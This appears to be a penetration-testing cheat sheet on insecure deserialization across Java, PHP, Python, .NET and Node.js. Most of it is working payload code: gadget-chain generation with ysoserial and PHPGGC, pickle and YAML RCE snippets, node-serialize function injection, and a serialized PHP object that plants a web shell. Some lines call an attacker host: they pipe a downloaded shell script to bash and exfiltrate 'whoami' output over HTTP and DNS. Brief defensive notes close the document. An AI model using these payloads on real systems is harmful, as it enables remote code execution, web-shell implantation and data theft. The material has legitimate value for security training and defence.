Insecure Deserialization: Object Manipulation Attacks

# Python __reduce__ method executes during unpickling
class Malicious:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

# Magic bytes for Java serialization
AC ED 00 05  # Binary format
rO0AB        # Base64 encoded

# Common locations
- Cookies (ViewState, session)
- Hidden form fields
- API payloads
- Message queues (JMS)

# ysoserial - generate payloads
java -jar ysoserial.jar CommonsCollections1 'whoami' | base64

# Common gadgets:
# - CommonsCollections1-7 (Apache Commons)
# - Spring1-2 (Spring Framework)
# - Hibernate1-2 (Hibernate ORM)
# - JRMPClient/JRMPListener (RMI)
# - FileUpload1 (Commons FileUpload)

// Vulnerable code
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(userInput));
Object obj = ois.readObject();  // Executes gadget chain

// Attack
// 1. Generate payload
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/shell.sh|bash' > payload.bin

// 2. Base64 encode if needed
base64 payload.bin > payload.b64

// 3. Send to vulnerable endpoint
curl -X POST https://target.com/api \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @payload.bin

# Look for:
- java.io.ObjectInputStream usage
- readObject() calls
- XMLDecoder usage
- XStream without whitelist
- SnakeYAML without safe constructors

// Dangerous magic methods
__construct()   // Object creation
__destruct()    // Object destruction
__wakeup()      // Called on unserialize()
__toString()    // Object to string conversion
__call()        // Undefined method calls

// Vulnerable class
class FileHandler {
    public $filename;
    public $content;

    function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}

// Exploitation
$payload = new FileHandler();
$payload->filename = '/var/www/html/shell.php';
$payload->content = '<?php system($_GET["cmd"]); ?>';
echo serialize($payload);
// O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}

// Phar files can trigger deserialization
// via phar:// stream wrapper

// Any file operation can trigger:
file_exists('phar://malicious.phar')
file_get_contents('phar://malicious.phar')
include('phar://malicious.phar')

# PHPGGC - PHP Generic Gadget Chains
phpggc Monolog/RCE1 system 'id' > payload.txt

# Phar generator
phpggc -p phar Monolog/RCE1 system 'id' -o exploit.phar

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Trigger with:
pickle.loads(base64.b64decode(payload))

# Unsafe YAML (requires yaml.load with Loader=Loader)
!!python/object/apply:os.system ['id']

# Or
!!python/object/new:subprocess.Popen
args: [['id']]

# Safe usage (won't execute):
yaml.safe_load(data)

# Look for:
pickle.loads()
pickle.load()
cPickle.loads()
yaml.load()  # without safe_load
marshal.loads()
shelve.open()

// Vulnerable code
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);  // RCE

// Generate payload with ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"

# ysoserial.net gadgets
ActivitySurrogateSelector
ObjectDataProvider
TypeConfuseDelegate
WindowsIdentity

# If ViewState MAC is disabled or key is known
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
    -c "cmd /c whoami" --validationalg="SHA1" --validationkey="KEY"

// Vulnerable code
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

// Payload generator
var y = {
  rce: function(){
    require('child_process').exec('id', function(e,s,er){console.log(s)});
  }
};
var payload = serialize.serialize(y).replace('"}', '()"}');

// Immediately Invoked Function Expression
{"exploit":"_$$ND_FUNC$$_function(){PAYLOAD}()"}

# Check for magic bytes
xxd suspicious_data | head

# Common indicators:
# Java: AC ED 00 05, rO0AB...
# PHP: a:, O:, s:
# Python Pickle: 80 04 95, gASV...
# .NET: AAEAAAD/////

# Error messages reveal framework
# Stack traces show library versions
# Headers indicate technology stack

# Java
java -jar ysoserial.jar [GADGET] '[COMMAND]'

# PHP
phpggc [CHAIN] [PARAM1] [PARAM2]

# .NET
ysoserial.exe -f [FORMAT] -g [GADGET] -c '[COMMAND]'

# Use out-of-band verification
# - DNS callback (dnslog.cn, burpcollaborator)
# - HTTP callback

# Example command
curl http://attacker.com/$(whoami)
nslookup $(whoami).attacker.com

// Java - Use filtering (JEP 290)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.*;!*"
);
ois.setObjectInputFilter(filter);

// PHP - Avoid unserialize on user input
// Use JSON instead
$data = json_decode($input, true);

// Python - Use safe loaders
yaml.safe_load(data)  // Not yaml.load()
# Avoid pickle for untrusted data

// .NET - Avoid BinaryFormatter
// Use DataContractSerializer with known types

# Runtime monitoring
# - Log deserialization calls
# - Monitor for unusual process execution

# Static analysis
# - Look for dangerous function calls
# - Review deserialization patterns